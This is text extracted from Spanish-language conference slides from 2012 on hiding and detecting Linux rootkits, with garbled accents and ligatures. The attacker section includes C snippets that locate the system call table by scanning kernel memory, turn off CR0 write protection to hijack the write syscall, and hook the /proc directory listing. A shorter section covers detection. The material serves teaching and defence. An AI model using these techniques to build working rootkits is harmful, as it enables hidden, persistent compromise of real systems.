Академический Документы
Профессиональный Документы
Культура Документы
20 de Abril de 2012
Contents
1
La perspectiva del Atacante Mtodos de Ataque e Kernel Hacking task struct modication
The End
Introduccin o
1
La perspectiva del Atacante Mtodos de Ataque e Kernel Hacking task struct modication
The End
Qu es un Rootkit? e
Un rootkit (segn Wikipedia), se puede denir como: u Un programa que permite un acceso de privilegio continuo a una computadora pero que mantiene su presencia activamente oculta al control de los administradores al corromper el funcionamiento normal del sistema operativo o de otras aplicaciones.
Tipos de Rootkits
Rootkits en Espacio de Usuario, Los cuales corren en Ring-3, y modican librer o archivos de conguracin, e as, o inclusive ejecutables (ls, ps, etc). Rootkits en Espacio de Kernel, Los cuales corren en Ring-0, y modican estructuras del kernel, atrapan llamadas de sistema (hijacking syscall-table), etc. Podemos tenerlos como LKMs o como patch al kernel corriendo /dev/kmem
Esconder Procesos Esconder Archivos Esconder Conexiones de Red Backdoors Keyloggers Darnos acceso a root
Hide and Find Rootkits in Linux La perspectiva del Atacante Mtodos de Ataque e
Introduccin o
1
La perspectiva del Atacante Mtodos de Ataque e Kernel Hacking task struct modication
The End
Hide and Find Rootkits in Linux La perspectiva del Atacante Mtodos de Ataque e
Mtodos de Ataque e
Modicacin de las estructuras de datos (la misma que o contiene los procesos corriendo en el sistema actualmente). Interceptando las llamadas a sistema mediante la modicacin o de la tabla de llamadas o del handler de cierta syscall (Dinamyc or Static Hijacking). Interrupt Hooking, modicando la tabla de descriptores de las interrupciones (IDT) 0x80. Modicando la memoria del kernel (/dev/kmem). Interceptando el manejo de llamadas del VFS (/proc /sys) Virtual Memory Subversion, un ataque novedoso para presentar vistas de la memoria de los procesos.
Hide and Find Rootkits in Linux La perspectiva del Atacante Kernel Hacking
Introduccin o
1
La perspectiva del Atacante Mtodos de Ataque e Kernel Hacking task struct modication
The End
Hide and Find Rootkits in Linux La perspectiva del Atacante Kernel Hacking
Intel tiene cuatro anillos MS Windows y otros, manejan solo dos. Usando solo dos niveles de privilegios, no hay separacin o entre el kernel y los drivers (root es tambin ring-3). e Los drivers pueden modicar la memoria asociada con objetos del kernel... tales como aquellos que representan un proceso.
Hide and Find Rootkits in Linux La perspectiva del Atacante Kernel Hacking
Introduciendo al LKM
Las comunicaciones entre el espacio de usuario (ring-3), y el espacio del kernel (ring-0), se hacen mediante archivos. Debido al punto anterior, existe y conocemos /proc, /sys, /dev. Dichos directorios solo existen en RAM. Llamadas a sistemas, estn guardadas en una tabla especial a (sys call table).
Hide and Find Rootkits in Linux La perspectiva del Atacante Kernel Hacking
Consideraciones
Las diferencias ms importantes entre un desarrollo a n kernel o a vel espacio usuario son: El kernel carece de proteccin de memoria... algo que se o ofrece en el espacio de usuario. El kernel no puede ejecutar de manera sencilla operaciones en punto otante. El kernel tiene un espacio en pila muy reducido por proceso. Debido a la naturaleza as ncrona de las interrupciones del kernel, la concurrencia es de los temas a poner mas nfasis al e desarrollar (Race-Conditions). La potabilidad... entre versin y versin de ncleo. o o u
Hide and Find Rootkits in Linux La perspectiva del Atacante Kernel Hacking
An somos detectables desde /sys u Al hacer un unload del mdulo, debido a que no existe en la o lista, se provoca un Oops que genera un kernel panic o crash del sistema, dejando rastros.
Hide and Find Rootkits in Linux La perspectiva del Atacante Kernel Hacking
Recordar informacin previa (prev y next en la lista). o Sobreescribir readproc y writeproc Funciones estticas para no dejar rastros en /proc/kallsyms a
Hide and Find Rootkits in Linux La perspectiva del Atacante Kernel Hacking
Hide and Find Rootkits in Linux La perspectiva del Atacante task struct modication
Introduccin o
1
La perspectiva del Atacante Mtodos de Ataque e Kernel Hacking task struct modication
The End
Hide and Find Rootkits in Linux La perspectiva del Atacante task struct modication
Hide and Find Rootkits in Linux La perspectiva del Atacante task struct modication
Hide and Find Rootkits in Linux La perspectiva del Atacante task struct modication
Hide and Find Rootkits in Linux La perspectiva del Atacante task struct modication
Hijacking Syscall
Interrupciones a llamadas de sistema se usan para evitar accesos a procesos o archivos generados por nosotros. syscall
natas_open(pathname, flags, mode) { if (XXX==XXX) call open(pathname, flags, mode) else printf("Not found"); }
Hide and Find Rootkits in Linux La perspectiva del Atacante task struct modication
Dinamyc Hijacking
La direccin de la sys call table, puede ser encontrada en el archivo o System.map-$(uname -r) Que ocurre cuando ya no existe ese archivo? El rango de memoria del kernel en arquitecturas X86 es del 0xc0000000 al 0x. Ahora bien, para encontrar la sys call table basta con buscar hasta la 0xd0000000 porque? CONFIG HIGHMEM. Para x86 64 podemos encontrar el inicio de la memoria del kernel en 0x81000000 y de ahi podemos iterar hasta 0x, es de destacar que igual que en la arquitectura de 32Bits, no debemos iterar todas las direcciones, basta iterar hasta 0x81. Finalmente... solo basta comparar alguna sys call cuyos s mbolos se exporten, sys close por ejemplo.
Hide and Find Rootkits in Linux La perspectiva del Atacante task struct modication
Dinamyc Hijacking
#if defined __x86_64__ #define START_MEM 0xffffffff81000000 #define END_MEM 0xffffffff81ffffff #else #define START_MEM 0xc0000000 #define END_MEM 0xd0000000 #endif unsigned long **find_syscalltable() { unsigned long **syscalltable; unsigned long int i = START_MEM; while ( i < END_MEM) { sctable = (unsigned long **)i; if ( syscalltable[__NR_close] == (unsigned long *)sys_close) { return &syscalltable[0]; } i += sizeof(void *); } return NULL; }
Hide and Find Rootkits in Linux La perspectiva del Atacante task struct modication
Dinamyc Hijacking
Pero la sys call table esta protegida contra escritura o no? Existen diferentes registros de procesador, el que nos interesa es el cr0. El kernel nos da dos funciones para manipular este registro: write cr0 y read cr0. El Bit 0 de este registro maneja el Protected Mode, por ello se llama WP bit. Solo basta modicar este bit antes y despus del e hijacking
write_cr0 (read_cr0 () & (~ 0x10000)); printk(KERN_ALERT "\nWrite Protection Disabled XD"); original_write = (void *)syscall_table[__NR_write]; syscall_table[__NR_write] = new_write; write_cr0 (read_cr0 () | 0x10000); printk(KERN_ALERT "\nWrite Protection Enabled"); /* 0X10000 --> 000...010000000000000000 ~(0X10000) --> 111...101111111111111111 */
Hide and Find Rootkits in Linux La perspectiva del Atacante task struct modication
Hijacking VFS
Interrupciones a llamadas de sistema se usan para evitar accesos a procesos o archivos generados por nosotros. syscall
natas_lookup(parent_directory, pathname, ...) { if (XXX==XXX) call real_lookup(parent_directory, pathname, ...) else printf("Error"); }
Hide and Find Rootkits in Linux La perspectiva del Atacante task struct modication
Hijacking VFS
struct inode *pinode; const struct file_operations *proc_original; static struct file_operations proc_fops; void hook_proc(struct proc_dir_entry *root) { struct path proc_path; if (kern_path("/proc/",0,&proc_path)) return; pinode = proc_path.dentry->d_inode; if(!pinode) return; proc_fops = *pinode->i_fop; proc_original = pinode->i_fop; proc_fops.readdir = natas_lookup; pinode->i_fop = &proc_fops; }
Introduccin o
1
La perspectiva del Atacante Mtodos de Ataque e Kernel Hacking task struct modication
The End
Mtodos de Deteccin e o
Comparando la tabla de S mbolos, Cada cierto tiempo se realizar comparaciones con la tabla de Sistema original (System.map) con la actual tabla. Anlisis de Binarios, desde mtodos tan sencillos como a e constantes revisiones de la suma MD5, hasta utilizacin de o trazas y visualizacin de estructuras de datos sobre el kernel. o Anlisis del Path de Ejecucin, Un rotkit modica el a o camino de ejecucin de una llamada a sistema o
Path Analysis
Mtodos de Deteccin e o
root@alien-natas:~# dmesg | grep -i task [ 3.082767] registered taskstats version 1 [ 251.622695] My task_struct --> 1048 root@alien-natas:~# grep init_task /boot/System.map-3.2.0-1-686-pae | grep D c13d8fe0 D init_task root@alien-natas:~# gdb /boot/vmlinuz-3.2.0-1-686-pae /proc/kcore Core was generated by BOOT_IMAGE=/vmlinuz-3.2.0-1-686-pae root=/dev/mapper/sda2_crypt ro single. #0 0x00000000 in ?? () (gdb) x/262wx 0xc13d8fe0 0xc13d8fe0: 0x00000000 0xc13d2000 0x00000002 0x00200000 0xc13d8ff0: 0x00000000 0x00000000 0x00000001 0x00000000 0xc13d9000: 0x00000078 0x00000078 0x00000078 0x00000000 0xc13d9010: 0xc12c3404 0x00000400 0x00400000 0x00000000 0xc13d9020: 0x00000000 0x00000000 0xc13d9028 0xc13d9028 0xc13d9030: 0x00000000 0x00000000 0x00000000 0x00000000 0xc13d9040: 0x00000000 0x00000000 0x00000000 0x00000000 0xc13d9050: 0x00000000 0x00000000 0x00000000 0x00000000 0xc13d9060: 0xf7607a04 0x00000000 0xc13d9068 0xc13d9068 0xc13d9070: 0x00000000 0x000000fa 0x00000001 0x00000000 0xc13d9080: 0x00000000 0x00000000 0x00000000 0x00000000
Greetings
Gr33tz!! @nitr0usmx @preth00nker @ hkm @ tty0 @calderpwn @psymera @ch1rx @napa topos Autor: Marcos Ricardo Schejtman Rubio E-Mail: natashell@esdebian.org Twitter: @natashell666 5EBD 2AEB 5618 4F0C D62C 89D8 C59B 834A 4E19 1537
A LTEX para todos